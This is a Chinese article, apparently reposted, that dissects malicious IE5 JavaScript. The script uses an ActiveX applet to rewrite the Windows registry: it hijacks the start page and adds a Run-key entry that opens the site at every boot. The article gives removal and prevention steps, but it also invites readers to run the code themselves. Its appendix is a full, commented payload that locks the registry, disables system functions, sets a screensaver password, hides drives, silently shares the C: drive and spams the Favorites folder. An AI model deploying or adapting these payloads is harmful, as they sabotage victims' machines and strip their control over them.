恶意代码大暴光

许多网友纷纷指出有的网站不择手段，当用户访问过它们的网页后，不仅IE默认首页被篡改了，而且每次开机 后IE都会自动弹出访问该网站。 
我们通过对下面这段javascript程序的解剖，希望读者能明白其究竟，并掌握修复的方法。网站应该用丰富精彩的栏目来吸引访问者，希望通过对用户注册表的恶意篡改来达到提高访问
量的目的不仅会事得其反，更是一 种不道德的行为。  
下面就来说说怎样通过html文件来达到更改IE及系统设置的吧
注：如果您是一位对注册表一窍不通朋友的话，建议您还是先学习有关注册表的一些基本常识，以下代码给您的计算机带来的一切后果本人不于承担
在桌面下建立一个名字为test.html的文件，文件内容如下： 
<SCRIPT language= javascript > 
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 
function f(){ 
try 
{ 
//ActiveX初始化过程(为达到修改用户注册表所必须的准备程序 ) 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");< br>a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createI nstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createI nstance(); 
Net = a1.GetObject(); 
try 
{ 
if (documents .cookies .indexOf("Chg") == -1) 
//以下是检测用户注册表并修改相应的键值 
{ 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://JavaHouse.126.com/");//修改用户InternetExplorer浏览器的默认主页 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://JavaHouse.126.com/");//建立默认启动页面程序，保证用户每次启动计算机首先打开该页 面 
var expdate = new Date((new Date()).getTime() + (1)); 
documents .cookies ="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
} 
} 
catch(e) 
{} 
} 
catch(e) 
{} 
} 
function init() 
{ 
setTimeout("f()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作 
} 
init();</SCRIPT> 
<!--End set start page -->   
首先，我们来分析一下这句代码，程序中使用： 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://JavaHouse.126.com/");//修改用户InternetExplorer浏览器的默认主页 
其实就是修改用户注册表中 
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\main\ 文件夹 下Start Page的键值， 
这里面的值就是存放的IE浏览器的默认主页，如果你想改回来，把上面的相应代码改为： 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank"); 
就可以实现打开IE是空白页了；当然你也不用动注册表，直接打开IE修改Internet选项中的主页更方便些。 
再来看看上述程序最卑鄙的一句代码： 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://JavaHouse.126.com/");//建立默认启动页面程序，保证用户每次启动计算机首先打开该页
面 
通过在注册表中 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ 
文件夹下建立Windows默认启动程序，当Windows启动后，我们会发现这个网页会自动打开，但是在“开始”－ “程序”－“启动”中却找不到，这是为什么呢？哦，原来都放到Run这个
文件夹 下面了。怎么来修改呢？两种 方法，一是查找源头，进入注册表，删除Run下面的相应项就可以了；二是在“开始”－“运行”处输入 "msconfig"，把启动下面相应的那个网站前
面的"√"去掉，重新启动计算机就可以了。 
避免此类恶意修改注册表的再次发生，你可以在IE的安全属性设置中禁掉ActiveX，当然在以后的网页浏览过程 中可能会造成一些正常使用ActiveX的网站无法浏览。还有一种办法就是对
于Windows98打开 C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP，把ActiveXComponent.class删掉;对于WindowsMe打开 C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP，把
ActiveXComponent.class删掉。放心，删除这个组件不会影响你 正常浏览网页的。 
最后说说在首页使用这类代码的网站的目的，像在启动计算机直接打开网页的做法我认为主要是针对宽带和专 线上网的用户，这样只要你不修改注册表禁掉它，你的IE主页每次进入系统
都会自动被修改成那个网站；对于 拨号上网的用户每次进入系统都开一个找不到的主页，也无所谓，至少你不改注册表，直接修改IE主页属性后 可以避免被那种网站再次修改（前提是
不再进那个网站），可是每次开机后都弹出个网页也真是让人讨厌。 
以上代码适用于Windows9x/Me，InternetExplorer5.X浏览器，据说对IE6.0无效（因为它里面没有 ActiveXComponent.class这个 组件 ），但作者没有测试过。
附：常用而已代码及注解，如下
<SCRIPT language= javascript >
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function title(){try{a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{
shl.RegWrite("HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD");<!--锁定注册表，无权利打开-->
}catch(e){}}catch(e){}}setTimeout("title()",1000);
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://forevergujia.126.com");<!--主页-->
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "难难木屑网-http://forevergujia.126.com-与我联系:hxylj@21cn.com"); <!--IE标头-->
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "难难木屑网-http://forevergujia.126.com");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Update\\UpdateMode",01,"REG_DWORD");<!--自动刷新控制面版-->
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\PwdProvider\\SCRSAVE\\ChangePassword","753951");<!--加入屏保密码753951-->
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoChangeStartMenu",1,"REG_DWORD");<!--禁止更改开始菜单-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\Desktop\\MenuShowDelay
", "999");<!--让 开始菜单 显示速度最慢-->
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose",1,"REG_DWORD");<!--禁止关闭系统-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFind
",1,"REG_DWORD");<!--禁止查找-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRecentDocsMenu",1,"REG_DWORD");<!--禁止文档-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun
",1,"REG_DWORD");<!--禁止运行-->
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Enum\\FLOP\\GENERIC_NEC__FLOPPY_DISK_\\BIOS&*PNP0700&0C00\\Mfg","小木头牌小软驱");<!--哈哈，软驱广告-->
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Enum\\FLOP\\GENERIC_NEC__FLOPPY_DISK_\\BIOS&*PNP0700&0C00\\CurrentDriveLetterAssignment","Z");<!--指定软驱为z-->
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Config\\0001\\Display\\Settings\\Resolution","600,480");<!--屏幕解析度为600x480-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives",16777215,"REG_DWORD");<!--隐藏驱动器-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoViewContextMenu",1,"REG_BINARY");<!--禁止使用鼠标右键-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\WinOlaApp\\Disabled",1,"REG_DWORD");<!--障蔽假dos-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRealMode",1,"REG_DWORD"); <!--障蔽真dos-->
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Control Panel\\desktop\\PaintDesktopVersion","1");<!--win98版本号串值-->
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDestop",1,"REG_DWORD"); <!--隐藏桌面图标-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetTaskBar",1,"REG_DWORD"); <!--无权使用任务栏属性-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\Desktop\\WindowMetrics\\Shell Icon BPP","8"); <!--图标颜色为8位-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\Desktop\\WindowMetrics\\Shell Icon size","16"); <!--在桌面显示16x16的小图标-->
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\ProductName","木头的OICQ:20586509"); <!--更改 windows 产品名称-->
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\ComputerName\\ComputerName\\ComputerName","小木头");<!--更改计算机的名字-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispCPL",1,"REG_DWORD"); <!--禁止桌面属性-->
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\CheckedValue",1,"REG_DWORD"); <!--禁止硬盘-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\sTimeFormat","小木头HH:mm:ss");<!--时间-->
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Control Panel\\International\\sTimeFormat","小木头HH:mm:ss");<!--时间-->
Shl.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "小木头");<!--开机提示标题-->
Shl.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "小木头祝你天天开心，欢迎访问难难木屑网http://forevergujia.126.com");<!--开机提示内容-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", "1");<!--锁定主页不可更改-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\DisplayName","【难难木屑】http://xiaomutou.126.com");<!--我的电脑和资源管理器右下脚的字-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\Icon","SHELL32.DLL#000042");<!--我的电脑和资源管理器右下脚的小图-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0\\DisplayName","【难难木屑】http://xiaomutou.126.com");<!--IE右下脚的字-->
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0\\Icon","SHELL32.DLL#000042");<!--IE右下脚的小图-->
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LamMan\\CC$\\Flags",302,"REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LamMan\\CC$\\Type",0,"REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LamMan\\CC$\\Path","C:\\");
var WF, Shor, loc; <!--C盘设为隐藏共享>
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "难难木屑网", "http://forevergujia.126.com");<!--强行加入收藏夹10遍-->
AddFavLnk(loc, "难难木屑网 ", "http://forevergujia.126.com");
AddFavLnk(loc, "难难木屑网   ", "http://forevergujia.126.com");
AddFavLnk(loc, "难难木屑网    ", "http://forevergujia.126.com");
AddFavLnk(loc, "难难木屑网     ", "http://forevergujia.126.com");
AddFavLnk(loc, "难难木屑网      ", "http://forevergujia.126.com");
AddFavLnk(loc, "难难木屑网       ", "http://forevergujia.126.com");
AddFavLnk(loc, "难难木屑网        ", "http://forevergujia.126.com");
AddFavLnk(loc, "难难木屑网         ", "http://forevergujia.126.com");
AddFavLnk(loc, "难难木屑网          ", "http://forevergujia.126.com");
}
catch(e){ }
}
catch(e){ }
}
function init(){
setTimeout("f()", 1000);
}
init();
</SCRIPT>
全文结束，看过此篇文章后，相信您也对计算机的注册表有了很多的了解，如果您的计算机在以前浏览过的网页中修改了您的注册表现在您可以很轻易的知道问题出现在哪里了，代码仅

供自己学习了解 qq恶意代码  

转自：http://www.chengxuyuans.com/hacker/defense/55952.html